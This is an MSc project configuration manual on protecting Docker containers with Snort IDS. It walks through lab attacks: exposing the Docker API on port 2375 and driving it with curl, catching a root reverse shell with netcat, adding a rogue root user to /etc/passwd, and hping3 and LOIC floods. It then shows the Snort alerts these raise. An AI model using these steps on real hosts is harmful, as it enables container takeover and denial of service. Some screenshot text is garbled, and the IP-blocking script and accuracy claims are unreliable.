

# Configuration Manual MSc Research Project MSc Cybersecurity Aniket Singh

## Student ID: X19222645

**School of Computing** 

National College of Ireland Supervisor: MR. Imran Khan

## National College of Ireland MSc Project Submission Sheet School of Computing

Student Name:	Aniket Singh		
Student ID:	X19222645		
Programme:	MSc. Cybersecurity	Year :	2020-21
Module:	Research Project		
Supervisor:	Mr. Imran khan		
Submission Due Date:	16-08-2021		
Project Title:	Implementation of open- Secure docker container	source	IDS (Snort) to
	Page-24		
Word Count:	Count-3250 words		

I hereby certify that the information contained in this (my submission) is information pertaining to research I conducted for this project. All information other than my own contribution will be fully referenced and listed in the relevant bibliography section at the rear of the project.

<u>ALL</u> internet material must be referenced in the bibliography section. Students are required to use the Referencing Standard specified in the report template. To use other author's written or electronic work is illegal (plagiarism) and may result in disciplinary action.

**Signature:** Aniket Singh

**Date:** 15-08-2021

#### PLEASE READ THE FOLLOWING INSTRUCTIONS AND CHECKLIST

Attach a completed copy of this sheet to each project (including multiple copies)	
Attach a Moodle submission receipt of the online project submission, to each project (including multiple copies).	
You must ensure that you retain a HARD COPY of the project, both for your own reference and in case a project is lost or mislaid. It is not sufficient to keep a copy on computer.	

Assignments that are submitted to the Programme Coordinator Office must be placed into the assignment box located outside the office.

Office Use Only	
Signature:	
Date:	
Penalty Applied (if applicable):	

## **Table of Content**

1.Introduction	5
2.System configuration	5
2.1.Host system	5
2.2.Virtual machine	5
2.3. Tools	5-6
3. Implementation	6
3.1.Accessing	6-7
3.2. Controlling container from Attacking VM	8-9
4. Implementation of test cases	
4.1.Test-case-1	
4.2. Test-case-2	
4.3.Test-case-3	
4.4. Test-case-4	
5. Creation of rule	
6. Conclusion	23
7. Reference	24

**1-Introduction:** In this configuration manual we are going to illustrate how we had contributed and implemented the projected for the secure deployment of docker container implementing rule-based snort-IDS. This manual will also explain the various set of software and hardware used along with the steps involved in completion of the project. The main motive behind the development of this is to protect the docket container from suspicious activities. However, we had achieved this by implementing the rule-based IDS by writing the customized rule in .config file using text editor and python script by importing various function from SCAPY library.

**2-System configuration:** In order to implement the project, it is necessary to have a system which support all the required tools and related configuration so the implemented project work properly with all its supported dependencies. If the system supports all the required tool the performance of the implemented project will increase in order to provide the better result. Tough, it is necessary to have a system with proper configuration.

#### 2.1 Host system:

OS: Windows 10 64-bit

- Processor: Intel i5 8th Gen
- Storage: 2TB SSD
- RAM: 16GB

#### 2.2 Virtual Machines

- OS: Kali 2020.3
- Processor Allocated: 4
- Storage: 80GB
- RAM: 4GB
- OS: Ubuntu 20.10
- Processor Allocated: 4
- Storage: 20GB
- RAM: 4GB

#### 2.3 Tools

There are various tools available which can be used in testing related to implemented project. However, doing little investigation about the suitability of the project tools for testing purpose were finalized. Below are the mentioned tools used during the testing.

**Nmap:** It is a free open-source tool which is used for network scanning developed by Gordon Lyon. It is mainly used for discovering the host along with the network services. Nmap sends a packet to target machine and based on the got reply analyzes the packets responses. It is most widely used scanning tool to discover open port, version, protocol and OS etc.,("Nmap: the Network Mapper - Free Security Scanner," n.d.)

**Wireshark:** It is highly used packet analyzer tool to get the information about the packets and its flow along with the content and used protocols and number of operational fields. However, live packet capturing in any network is possible with the help of Wireshark which makes the troubleshooting easy. Also, it supports various platform for example Linux, window, ubuntu, Solaris etc.("Wireshark User's Guide," n.d.)

**Hping3:** For the demonstration DOS attack we are using this tool and this is a TCP/IP analyzer tool. Also, it supports ICMP and UDP, Ping, Traceroute ("hping3," n.d., p. 3).

**Low Orbit Ion Cannon (LOIC):** It is used for testing of denial-of-service attack and it is written in C# language. However, this tool was in use previously by Praetox but after that published publicly and now it is a part of open-source technology.(AnonymousCH, n.d.)

**Curl:** It is also a free and open-source tool. Curl basically uses Libcurl library tough it accepts any libcurl protocol. This is a command line tool which is used by various users to transmit and receive information consisting of various types of files.("curl - How To Use," n.d.).

**JQ:** The JavaScript Object Notation (JSON), we have used this to get the output in readable format. However, it is a lightweight tool and used by most of the developer and JQ command is use to do parsing in java.("Parsing JSON with jq," n.d.)

#### **3.Implementation steps**

- 1. Downloading and installation of Virtual box
- 2. Downloading and installation of Kali Linux
- 3. Downloading and installation of Ubuntu 18.04
- 4. Downloading and installation of Wireshark
- 5. Downloading and creating Docker images from repositories
- 6. Install python and all the required libraries.
- 7. Writing the customize rules in snort using text editor
- 8. Testing of the rules by performing the test cases.

**3.1) Accessing docker remote API:** Remote API is a one of the features of docker with the help of which admin can reveal docker daemon using the HTTP connection. However, this feature is used by user so that he can interact with docker daemon with the help of rest-API. Moreover, these users have access to the list of running containers and information about the docker images which are installed in remote host. Using REST-API there is a possibility that these users can run and stop container services remotely.

There is a chance of cyber-attack, if by chance this docker remote API is revealed or leaked. The hacker will able to login and also able to get full access of host in order to execute any malicious activity. It is known that docker required root privilege to perform. However, if the attacker is able to disclose this root privilege using rest API, which is possible then container inside docker and the host machine on which this entire system is running will come under danger and there is a high probability of data theft and information leak. If the docker remote API is activated once then there is no need of authentication for setting up docker.

## # for containers run by docker ExecStart=/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock Fig. Service file of Docker

ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375 --containerd=/run/containerd/containerd.sock

Fig. Edited docker service file

From the above fig the line which is begins with ExecStart has been modified. After editing it it has a TCP scheme and 0.0.0.0 is nothing but default route so that every interface will able to communicate with it and also with port 2375 non-SSL docker port by default. Once the file is saved then there is need of reloading docker so that the modified changes will apply and work. Now we will look at what we can do after this modification.

Using curl, attacker is able to get the information about the docker remotely and this the abuse of docker REST API. Following information has been disclosed remotely.

- Docker version
- Information about the images of the container in the host machine

root@kali:+#
root@kali:-# curl -s http://172.17.0.1:2375/version
("Platform :{"Name": Docker Engine - Community"},"Components":[{"Name": "Engine", "Version": "20.10.7", "Details":{"ApiVersion": 1.41", "Arch : "amd64", "BuildTime": "2021-06-02711:54:48.000000000+00:00", "Experimen
tal": "false", "GitCommit": "b0f5bc3", "GoVersion": "gol.13.15", "KernelVersion": "5.4.0-77-generic", "HinAPIVersion": "1.12", "Os": "linux"}}, {"Name": "containerd", "Version": "1.4.6", "Details": {"GitCommit": "d7lfcd7d830
3cbf684402823e425e9dd2e99285d"}},{"Name": "runc", "Version": "1.0.0-rc95", "Details": {"GitCommit": "b9ee9c6314599f1b4a7f497e1f1f856fe433d3b7"}},{"Name": "docker-init", "Version": "0.19.0", "Details": {"GitCommit": "de
40ad0"}}], "Version": "20.10.7", "ApiVersion": "1.41", "MinAPIVersion": "1.12", "GitCommit": "b0f5bc3", "GoVersion": "go1.13.15", "Os": "linux", "Arch": "amd64", "KernelVersion": "5.4.0-77-generic", "BuildTime": "2021-06-02T
11:54:48.00000000+00:00"}
root@kali:-#
root@kali:-#
root@kali:-#
root@kali#

but the above generated output is not readable so to read that we are going to use the JSON. The below Image is illustrating the details of the docker container. However, this information is access via attacking vm. Tough this much details is more than enough for any skilled hacker to find the exploit related to it.

Code Beautify		JSON Formatter   Hex Color Codes   HMAC Generator   My lp   Search   Recent Links   More -   Sign
JSON Viewer☆		Save & Share
ままます チン コートロン (1997) この1000000000000000000000000000000000000	Result mode: two to the two tests of two tests of the two tests of tasks of two tests of tasks of tas	Set         F1         Y         ✓ cose+         **         ▲             1         (         ''''''''''''''''''''''''''''''''''''
."Global1PvdPrefixLen":0, "MocAddress":92:42:ac:11:00:02", "DriverOpts":mull))), "Mounts":[]}] 3	Tree Vewer	<pre>10</pre>
	2 Tab Space  Beautify	<ol> <li>*Links*: mult,</li> <li>*Allass*: mult,</li> <li>*Metorit2*: "17502ac45.31533 facd0 17222bf0214796 rdd3c0d170681c64787c1c75678686",</li> <li>*Gobgiunit2: "17502ac45031328864c78c641220e59414ac16fc3dfbae0012a00121001ae6f",</li> <li>*TPAGFalarty: "127.217.0.1",</li> <li>*TPAGFalarty: 186.</li> </ol>
	Minity	29 TP+Gdatewy': "." 30 TolloalTP+Gdatewy': "." 31 March 2004 Talex": 0. 32 March 2004 Talex": 0. 33 Oriver 078: mll
	JSON to XML	25 1 35 1 36 1 37 **ounts*: [] 38 ]
Line Colle	JSON to CSV	39 ] [mt. Col.1

Fig. Readable with JQ

#### 3.2) Controlling container from attacking VM(Kali).

1)Running Docker container from Host machine. We had created a customized test container (TEST\_aniket\_container) using alpine because it is light weight image.

aniket@singhaniket:~\$ aniket@singhaniket:~\$ aniket@singhaniket:~\$ priket@singhaniket:~\$							
[sudo] passwore	d for anik	et:			ei acpuie		
f8d594583c5879	cbdf9e0e5ca	a296fc1425a2	a275ec424f0cab5c8	589fd875f57			
aniket@singhani	LKet:~\$ iket:~\$ su	do docker os					
CONTAINER ID	IMAGE	COMMAND	CREATED	STATUS	PORTS		
NAMES							
f8d594583c58	alpine	"/bin/sh"	11 seconds ago	Up 10 seconds			
TEST_aniket_co	ontainer						
db5d09608305	alpine	"/bin/sh"	41 minutes ago	Up 41 minutes			
zealous_nash	ikot¢						

Fig. Newly created container

Now try to access the details of this container from the attacker VM.However the details of "**TEST\_aniket\_container**" is visible.



Fig. Container Details

Now the above created container can also be stop by attacking VM. Using culr command container has been stopped.

#### aniket@singhaniket:~\$ curl --data "t=5" http://localhost:2375/containers/TEST\_aniket\_container/stop aniket@singhaniket:~\$

Fig. Stopping Container

Now the container is stopped below is the output which illustrates that no container (TEST\_aniket\_container) is available as a running process.



Fig. Container Process

Now we have started the same container again from the attacking VM.

aniket@singhaniket:~\$ curl --data "t=5" http://localhost:2375/containers/TEST\_an iket\_container/stop aniket@singhaniket:~\$ curl --data "t=5" http://localhost:2375/containers/TEST\_aniket\_container/start aniket@singhaniket:~\$

#### Fig. Starting container

Below is the output illustrating that the container is running again.

aniket@singhaniket:~\$ sudo docker ps							
CONTAINER I	) IMAGE	COMMAND	CREATED	STATUS	POR		
TS NAMES	5						
f8d594583c58	3 alpine	"/bin/sh"	44 minutes ago	Up 58 seconds			
TEST	_aniket_cont	ainer					
db5d09608305	i alpine	"/bin/sh"	About an hour ago	Up About an hour			
zealo	ous_nash						
aniket@singl	aniket:~\$						
aniket@singl	aniket:~\$ _						
aniket@singl	aniket:~\$						

#### Fig. Running Container process

Hence it is proved that abusing rest API attacker can gain the access of container and start and stop it remotely.

**4)Implementation of test cases:** This section illustrates that how the implementation and the testing of each scenario has been completed.

4.1. Test case 1- ICMP connection.

It is required for any attacker to make a connectivity before doing any attack. If the connectivity is through then only, he is able to execute the attacks. From the fig below is it visible that connectivity between attacking vm and the container is through.

root@kali:~# ping 172.17.0.1
PING 172.17.0.1 (172.17.0.1) 56(84) bytes of data.
64 bytes from 172.17.0.1: icmp_seq=1 ttl=64 time=1.00 ms
64 bytes from 172.17.0.1: icmp_seq=2 ttl=64 time=0.674 ms
64 bytes from 172.17.0.1: icmp_seq=3 ttl=64 time=0.703 ms
64 bytes from 172.17.0.1: icmp_seq=4 ttl=64 time=1.04 ms
64 bytes from 172.17.0.1: icmp_seq=5 ttl=64 time=0.984 ms
64 bytes from 172.17.0.1: icmp_seq=6 ttl=64 time=1.01 ms
64 bytes from 172.17.0.1: icmp_seq=7 ttl=64 time=0.963 ms
64 bytes from 172.17.0.1: icmp_seq=8 ttl=64 time=0.894 ms
64 bytes from 172.17.0.1: icmp_seq=9 ttl=64 time=0.952 ms
64 bytes from 172.17.0.1: icmp seq=10 ttl=64 time=0.852 ms
^c
172.17.0.1 ping statistics
10 packets transmitted, 10 received, 0% packet loss, time 9053ms
rtt min/avg/max/mdev = 0.674/0.907/1.037/0.121 ms
root@kali:~#

#### Alerting and protecting the connectivity.

Now we will try to identify that the implemented IDS is detecting it or not because connectivity is through between attacking VM and host machine.

PING 172.17.0.1 (172.17.0.1) 56(84) bytes of data.
64 bytes from 172.17.0.1: icmp_seq=1 ttl=64 time=0.384 ms
64 bytes from 172.17.0.1: icmp_seq=2 ttl=64 time=0.365 ms
64 bytes from 172.17.0.1: icmp_seq=3 ttl=64 time=0.442 ms
64 bytes from 172.17.0.1: icmp_seq=4 ttl=64 time=0.276 ms
64 bytes from 172.17.0.1: icmp_seq=5 ttl=64 time=1.06 ms
64 bytes from 172.17.0.1: icmp_seq=6 ttl=64 time=0.281 ms
64 bytes from 172.17.0.1: icmp_seq=7 ttl=64 time=497 ms
64 bytes from 172.17.0.1: icmp_seq=8 ttl=64 time=0.968 ms
64 bytes from 172.17.0.1: icmp_seq=9 ttl=64 time=0.620 ms
64 bytes from 172.17.0.1: icmp_seq=10 ttl=64 time=0.839 ms
^c
172.17.0.1 ping statistics
10 packets transmitted, 10 received, 0% packet loss, time 9123ms
rtt min/avg/max/mdev = 0.2/6/50.186/496.634/148.816 ms

From the above ping request we can illustrate that 10 packets sent and all the packets are analyzed and monitored by our implemented ids as demonstrated below.

Acti	on Stats:			
	Alerts:	10	(	0.662%)
	Logged:	10	(	0.662%)
	Passed:	0	(	0.000%)

Fig. Generation of alert by snort

From the above fig we can say the total number of packets sent was 10 and captured packets for analysis was also 10. That means Snort-IDS is providing 100% accuracy.

Wireshark analysis: Below is the packet capture of the connectivity using Wireshark. It is illustrating that ICMP request is exchange between attacker and the host machine.

<u>F</u> ile	<u>E</u> dit	<u>V</u> iew <u>G</u> o	<u>Capture</u> <u>A</u> nalyze <u>S</u> tatis	stics Telephon <u>y W</u> ire	eless <u>T</u> ools	<u>H</u> elp
			۹ 🖸 🖹 💼	🗢 🏓 警 🐴	₹	÷,
	.pply a	a display filter .	<ctrl-></ctrl->			
No.	-	Time	Source	Destination	Protocol	Length Ir
<b></b> -	1	0.0000000000000000000000000000000000000	192.168.1.112 172.17.0.1	172.17.0.1 192.168.1.112	ICMP ICMP	100 E 100 E
	4	0.000490605 1.027672822	Applicon_01:5e:a1 192.168.1.112	45:00:00:54:42:81 45:00:00:54:ad:dd 172.17.0.1	0xc0a8 0xac11 ICMP	100 E 100 E
	6 7 8	<b>1.027717216</b> 1.027962998	172.17.0.1 40:00:40:01:89:2d Applicon 01:5d:fb	<b>192.168.1.112</b> 45:00:00:54:43:51 45:00:00:54:ae:83	ICMP 0xc0a8 0xac11	100 E 100 E
	9 10	2.051619611 2.051663513	192.168.1.112 172.17.0.1	172.17.0.1 192.168.1.112	ICMP ICMP	100 E 100 E
	11 12 13	2.051836650 2.052023226 3.075752565	40:00:40:01:88:bd Applicon_01:5d:44 192 168 1 112	45:00:00:54:43:c1 45:00:00:54:af:3a 172 17 0 1	0xc0a8 0xac11 TCMP	100 E 100 E
	14 15	3.075804971 3.075996298	<b>172.17.0.1</b> 40:00:40:01:88:a2	<b>192.168.1.112</b> 45:00:00:54:43:dc	ICMP 0xc0a8	100 E 100 E
	16 17 18	3.076776043 4.077518526 4.077609747	Applicon_01:5d:27 192.168.1.112 172.17.0.1	45:00:00:54:af:57 172.17.0.1 192.168.1.112	0xac11 ICMP ICMP	100 E 100 E 100 E
∢ ₹F	rame :	1: 100 bytes	on wire (800 bits), 1	00 bytes captured (	800 bits) c	n interface a

Internet Protocol Version 4, Src: 192.168.1.112, Dst: 172.17.0.1
 Internet Control Message Protocol

Fig. Wireshark analysis

#### 4.2. Test Case 2

Docker remote API abuse: In this one malicious container will try to attack the other container.



Step 1) Attacker is trying network scanning using Nmap.



Fig. Docker Port Scan

From the above scan attacker now got an idea that port 2375 is open and this could be the attack vector which can help attacker to find any exploit or vulnerable area.

Step 2) Now knowing that port is open attacker will try to do reverse shell. Now attacker is creating a listener using Netcat as shown below.



Netcat using port 4444 for listening, as we fired a command, we entered inside the container with the root privileges as shown below.

```
aniket@singhaniket:~$ nc -lvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 172.17.0.3 53402 received!
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@427097ad1d05:/#
root@427097ad1d05:/#
root@427097ad1d05:/# whoami
whoami
root
root@427097ad1d05:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@427097ad1d05:/#
```

The below fig also illustrates the newly created/ launched container (chroot/mnt/bin/bash..)

aniket@singhan [sudo] passwor	iket:~\$ su d for anik	do docker ps et:		
CONTAINER ID	IMAGE	COMMAND	CREATED	STATUS
PORTS NA	MES			
427097ad1d05	ubuntu	"chroot /mnt /bin/ba"	6 minutes ago	Up 6 minutes
ki	.nd_swartz			
db5d09608305	alpine	"/bin/sh"	3 hours ago	Up 3 hours
ze	alous_na <u>s</u> h			

**Step3)** AS we have got the access to the container which is having a root privilege. Now attacker can modify the **/etc/passwd** file.

```
aniket:x:1000:1000:Aniket,,,:/home/aniket:/bin/bash
snort:x:122:127:Snort IDS:/var/log/snort:/usr/sbin/nologin
sshd:x:123:65534::/run/sshd:/usr/sbin/nologin
hacker_test:x:1001:1001:hacker_test,,,:/home/hacker_test:/bin/bash
root@427097ad1d05:/#
```

Fig. content inside /etc/passwd file

The /etc/passwd file have root user inside it. Now with the help of this attacker will modify and create one more entry in the same file and will copy all the privileges of the root user to to created new entry which is in our case "hacker\_test"

If we compare the root user Aniket and "Hacker\_test". The few things modified referencing the root user and now hacker is also a root user.

Also, there is a new folder (hacket\_test) in the home directory along with the root user as shown below.



The password can be entered using **/etc/shadow** file as shown below.



Also, the attacker is able to send request to another container. So that there is a possibility of container-to-container attack. As shown below.

```
root@427097ad1d05:/# ping 172.17.0.3
ping 172.17.0.3
PING 172.17.0.3 (172.17.0.3) 56(84) bytes of data.
64 bytes from 172.17.0.3: icmp_seq=1 ttl=64 time=0.020 ms
64 bytes from 172.17.0.3: icmp_seq=2 ttl=64 time=0.058 ms
64 bytes from 172.17.0.3: icmp_seq=3 ttl=64 time=0.058 ms
64 bytes from 172.17.0.3: icmp_seq=4 ttl=64 time=0.023 ms
64 bytes from 172.17.0.3: icmp_seq=5 ttl=64 time=0.056 ms
64 bytes from 172.17.0.3: icmp_seq=6 ttl=64 time=0.054 ms
64 bytes from 172.17.0.3: icmp_seq=7 ttl=64 time=0.056 ms
```

As a result, if attacker is able to do such changes, he can get all the access and all the services will run under his command. Hence, protection against such attacks is very crucial.

Protection: Snort-ids capability to detect such attack

Action Stats:			
Alerts:	1	(	0.971%)
Logged:	1	(	0.971%)
Passed:	Θ	(	0.000%)
Limits:			
Match:	Θ		
Queue:	Θ		
Log:	Θ		
Event:	20		
Alert:	Θ		
Verdicts:			

The above fig illustrates that Implemented snort-IDS is generating an alert if any suspicious activity monitored.

1) generation of alert when unauthorized user tries to access.

Decoding Ethernet								
08/27-00:44:08.530589	[**] [1:100001:0]	unauthorized us	ser access	[**]	[Priority:	0] {TCP}	192.168.1.112:42794	•>
172.17.0.1:2375								

2) Generation of alert when one container tries to connect another container.

08/27-00	:49:11.213844	[**] [1:1000001:0]	Container	is	pinging	other	container"	[**]	[Priority:	0]	{ICMP}	172.17.
0.2 -> 1	72.17.0.4											
08/27-00	0:49:11.214894	[**] [1:1000001:0]	Container	is	pinging	other	container"	[**]	[Priority:	0]	{ICMP}	172.17.
0.4 -> 1	72.17.0.2											
08/27-00	0:49:11.215137	[**] [1:1000001:0]	Container	is	pinging	other	container"	[**]	[Priority:	0]	{ICMP}	172.17.
0.2 -> 1	72.17.0.4											
08/27-00	0:49:11.215227	[**] [1:1000001:0]	Container	is	pinging	other	container"	[**]	[Priority:	0]	{ICMP}	172.17.
0.2 -> 1	72.17.0.4									~ ~		
08/27-00	72 17 0 1	[**] [1:1000001:0]	Container	15	σιπαιπα	other	container-	1 1	IPPIOFILY:	e	{ICWb}	1/2.1/.
0.2 -> 1	40.12 217012	FALL FALL000001.01	Container			athas	containes"	reen	[ Dei sei tur	0.1	CTCMD1	170 17
0 4 -> 1	72 17 8 2	[][1.1000001.0]	concacher		pengeng	other	concacher	[]	[FILOILLY.	01	ficue?	1/2.1/.
08/27-00	1:49:12.218054	[**1 [1:1000001:0]	Container	is	ninging	other	container"	r**1	[Priority:	61	(TCMP)	172.17.
0.7 -> 1	72.17.0.4	[ ] [[1100000110]	concorner		pringing	o en en	concorner		[	~1	(Land)	
08/27-00	1:49:12.219226	[**] [1:1000001:0]	Container	is	pinging	other	container"	r**1	[Priority:	01	{ICMP}	172.17.
0.4 -> 1	72.17.0.2				p ch g ch g							
08/27-00	:49:12.219995	[**] [1:1000001:0]	Container	۱s	pinging	other	container"	[**]	[Priority:	0]	{ICMP}	172.17.
0.2 -> 1	172.17.0.4											
08/27-00	0:49:12.220220	[**] [1:1000001:0]	Container	1s	pinging	other	container"	[**]	[Priority:	0]	{ICMP}	172.17.
0.2 -> 1	72.17.0.4											

3) Generation of alert when suspicious container is requesting connection with HOST.

08/27-00:59:22.902493	[**]	[1:1000002:0]	Host	is	pinged	bу	Container"	[**]	[Priority:	0]	{ICMP}	172.17.	0.4	->
192.168.1.231	r++1	[1.100000.0]	Uset	• -	ataad	b	Containar"	r++1	[Dei oci two	• 1	[TCMD]	170 17	0 4	
192.168.1.231	[]	[1:1000002:0]	HOSE	LS	priiged	bу	Concacher	[ ]	[Priority:	0]	{ICMP}	1/2.1/.	0.4	->
08/27-00:59:23.904413	[**]	[1:1000002:0]	Host	is	pinged	bу	Container"	[**]	[Priority:	0]	{ICMP}	172.17.	0.4	
192.168.1.23														
08/27-00:59:23.905853	[**]	[1:1000002:0]	Host	is	pinged	Ьу	Container"	[**]	[Priority:	0]	{ICMP}	172.17.	0.4	->
192.168.1.23	[ + + 1	[4.400000.0]	11+		- 4 4	<b>L</b>	6+	F 44 7	[ Del est tore	~ 7	[TOUD]	470 47	~ 4	
08/27-00:59:24.909460	~ ~	1:1000002:0	HOST	ιs	pinged	DV	container	~~	IPriority:	U	$\{ ICMP \}$	1/2.1/.	0.4	->

4) Blocking of SSH connection request.

```
Commencing packet processing (pid=8606)
Decoding Ethernet
08/27-01:28:14.958081 [**] [1:100002:0] SSH connection detected [**] [Priority: 0] {TCP} 192.168.1.112
<u>:</u>33714 -> 172.17.0.1:22
```

#### 4.3. Test case 3 Denial of services

With the help of Hping3 we are generating the high volume of the traffic to test he DOS attack. As from the below fig it is clearly visible that when the packets forwarded to the container there is 100% packet drops and also, we are not able to ping the container that means the reachability from the container is lost.

This is the specialty of the DOS attack it make the services unavailable which are running by pumping huge volume of the traffic more the actual bandwidth allocated. So, it consumes the entire resources and choke the entire services. Here the number of packets which are transmitted (-c 12000) and the size of each packets are (-s 110). Adding to it we have used "—flood" so that fast forwarding of the packet will take place. We are also using the "—rand -source" which is forwarding the malicious packet from the random sources (IP, ports).



Fig Dos attack launch by Hping3

Our implemented snort-based ids is capable of detecting it and result if generation of alert.

$\{1, 1, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3,$							
08/13-00:45:43.322176 [**] [1:100005:0]	ALERT:	TCP	attack	[**]	[Priority:	0]	£
TCP $ 172.17.0.1:0 \rightarrow 174.69.111.22:7627 $							
08/13-00:45:43.322406 [**] [1:100005:0]	ALERT:	TCP	attack	[**]	[Priority:	0]	£
TCP} 60.154.1.123:7628 -> 172.17.0.1:0							
08/13-00:45:43.322504 [**] [1:100005:0]	ALERT:	TCP	attack	[**]	[Priority:	0]	÷
TCP} 172.17.0.1:0 -> 60.154.1.123:7628							
08/13-00:45:43.322518 [**] [1:100005:0]	ALERT:	TCP	attack	[**]	[Priority:	Θ]	£
TCP} 22.111.25.212:7629 -> 172.17.0.1:0							
08/13-00:45:43.322540 [**] [1:100005:0]	ALERT:	TCP	attack	[**]	[Priority:	0]	÷
TCP} 172.17.0.1:0 -> 22.111.25.212:7629							
08/13-00:45:43.322888 [**] [1:100005:0]	ALERT:	TCP	attack	[**]	[Priority:	0]	£
TCP} 149.25.111.170:7630 -> 172.17.0.1:0							
08/13-00:45:43.322947 [**] [1:100005:0]	ALERT:	TCP	attack	[**]	[Priority:	•]	£
TCP} 172.17.0.1:0 -> 149.25.111.170:7630							
08/13-00:45:43.322964 [**] [1:100005:0]	ALERT:	TCP	attack	[**]	[Priority:	0]	÷
TCP} 224.236.22.49:7631 -> 172.17.0.1:0							
08/13-00:45:43.322981 [**] [1:100005:0]	ALERT:	TCP	attack	[**]	[Priority:	;⊙]	£
TCP} 8.142.69.129:7632 -> 172.17.0.1:0							
A0/13_00.45.43 333000 [**] [1.100005.0]	ALERT:	TCP	attack	[**]	[Priority:	0]	÷
TCP} 172.17.0.1:0 -> 8.142.69.129:7632							
08/13-00:45:43.323339 [**] [1:100005:0]	ALERT:	TCP	attack	[**]	[Priority:	0]	£
TCP} 100.48.219.39:7633 -> 172.17.0.1:0							
08/13-00:45:43.323373 [**] [1:100005:0]	ALERT:	TCP	attack	[**]	[Priority:	0]	£
TCP} 172.17.0.1:0 -> 100.48.219.39:7633							
08/13-00:45:43.323381 [**] [1:100005:0]	ALERT:	TCP	attack	[**]	[Priority:	0]	-E
TCP} 27.154.130.85:7634 -> 172.17.0.1:0							

Fig. Alert generated by Snort

The below is the analysis by snort along with the type of packet (TCP) captured during the attack. Approximately 99% of the TCP packets are captured.

Run time for p	acket processing was 54.265404 seconds	
Snort processe	d 71706 packets.	
Snort ran for	0 days 0 hours 0 minutes 54 seconds	
Pkts/sec:	1327	
Memory usage s	summary:	
Total non-mm	apped bytes (arena): 57176064	
Bytes in map	ped regions (hblkhd): 30130176	
Total alloca	ated space (uordblks): 3614912	
Total free s	space (fordblks): 53561152	
Topmost rele	easable block (keepcost): 76048	
Packet I/O Tot	als:	
Received:	71706	
Analyzed:	71706 (100.000%)	
Dropped:	0 ( 0.000%)	
Filtered:	0 ( 0.000%)	
Outstanding:	0 ( 0.000%)	
Injected:	G	
Breakdown by p	protocol (includes rebuilt packets):	
Eth:	71706 (100.000%)	
VLAN:	0 ( 0.000%)	
IP4:	71674 ( 99.955%)	
Frag:	0 ( 0.000%)	
ICMP:	0 ( 0.000%)	
LIDP	12 ( 0.017%)	
TCP:	71662 ( 99.939%)	
TOCO	2 ( 0 004%)	

Fig. TCP packet capture by IDS

4.4. Test case 4 Dos attack Using UDP packets

To perform the UDP-based DOS attack we had used LOIC (Low orbit ION Canon) tool. The below fig illustrates that to launch attack we have to two option 1<sup>st</sup> we can put the URL of the target and the second is to put the IP address of the target machine. Then we need to select the port and protocol in our case we had selected it as a UDP and port 80. Also, we can increase or decrease the frequency of the attack. Final step is to hit the enter by clicking on "IMMA CHARGING MAHLAZER" button. The main advantage of using this tool that any user can able to launch the Dos attack even if he is not technically skilled.



Fig. LOIC-UDP-BASED DOS attack

Detection and protection from the launched DOS attack. The launch DOS attack has been detected by Snort-based IDS. From the below fig it is clearly reflecting that snort had identified the UDP based dos attack.

Snort proces Snort ran fo Pkts/sec:	sed 20628 pack r 0 days 0 hou 573	ets. Irs 0 minutes (	36 seconds	
Memory usage Total non- Bytes in m Total allo Total free Topmost re	summary: mmapped bytes apped regions cated space (u space (fordbl leasable b <u>lock</u>	<pre>(arena): (hblkhd): ordblks): ks): (keepcost):</pre>	6217728 30130176 3883712 2334016 254400	
Packet I/O T Received: Analyzed: Dropped: Filtered: Outstanding: Injected:	======================================	(177.201%) ( 0.000%) ( 0.000%) ( 0.000%) ( 0.000%)	======	
Breakdown by Eth: VLAN: IP4: Frag: TCMP: UDP:	=================== protocol (inc 20628 0 20598 0 19 20569	<pre>ludes rebuilt (100.000%) ( 0.000%) ( 99.855%) ( 0.000%) ( 0.000%) ( 0.092%) ( 99.714%)</pre>	packets):	

						_
Action S	Stats:					
Ale	erts:	20	563	C	99.68	:5%)
Log	gged:	20	563	<ul> <li>C</li> </ul>	99.68	:5%)
Pas	ssed:		Θ	<ul> <li>C</li> </ul>	0.00	0%)
Limits:						
Ma	atch:		0			
Qu	seue:		0			
	Log:		0			
E	vent:		0			
A	lert:		Θ			
Verdicts	5:					
A	llow:	20	628	(1	177.20	1%)
B	lock:		0	C	0.00	0%)
Rep	lace:		Θ	<ul> <li>C</li> </ul>	0.00	0%)
White	list:		Θ	0	0.00	0%)
Black	list:		Θ	C	0.00	0%)
Igr	nore:		0	<ul> <li>C</li> </ul>	0.00	0%)
Re	etry:		0	<ul> <li>C</li> </ul>	0.00	0%)

Fig. Alert generated by Snort.

#### 5- Creation of rules in snort

#### We had used Python and in python used library is SCAPY.

**SCAPY:** I had used this because it is one of the most powerful and highly interactive python libraries used for manipulation of packets. Moreover, coding and decoding of the packets over wide range of protocol supported by it. That is sending and receiving of the packets along with that matching the request and answering as per the request. Additionally, it supports many of the networking troubleshooting parameters like traceroute, ping, scanning, tcpdump, arp, nmap, arpspoofing, tshark etc., Apart from that it is also known for sending irregular frames, injection of our own encapsulation (802.11), and support combining technique for example "ARP cache poisoning + hopping of VLAN, decoding Voice over IP on encrypted channel called WEP.

1)

nniket@singhaniket:/etc/snort/rules/customized_rule	- 0 ×
GNU nano 2.9.3	New_Blocking.py
Emport scapy import time import datetime	
check_list_path= "/etc/hosts" ip_redirect ="127.0.0.1"	#which file we want to change and that is host file hence give path to the host file $\#$ we are redirecting it to locathost URL.
ip_address =["192.168.0.38", "192.168.0.39", "192.168.1.112", "192.	169.1.113"] # this is the list of blocked ip address.
	#we need to run the loop until the condition is true
	etime.now().day,7) < datetime.now() < datetime(datetime.now().year, datetime.now().month, datetime.now().day,23.59)
<pre>with open (check_list_path, "r+") as file: load = file.read() for ip in ip address: if ip in load: pass else: file.urita/in redin</pre>	<pre>cc open our host file as per the given path i.e /etc/hosts and to open our file in read and write mode we are using "r+" load consists of every thing which is present in host file. here we are itrating ip address list in for loop. now if the ip is already present in host file then do not want to write it again hence we want our function to pass.</pre>
<pre>print("ip address in the list are blocked!!") break else:</pre>	
<pre>with open(check_list_path, *r+*) as file: load =file.readlines() file.seek(0)</pre>	
if not any(ip in line for ip in ip load.write(line)	<pre>address): # here we are using the list comprehension , if the ip is not in the list t # then we will write that ip address in the list</pre>
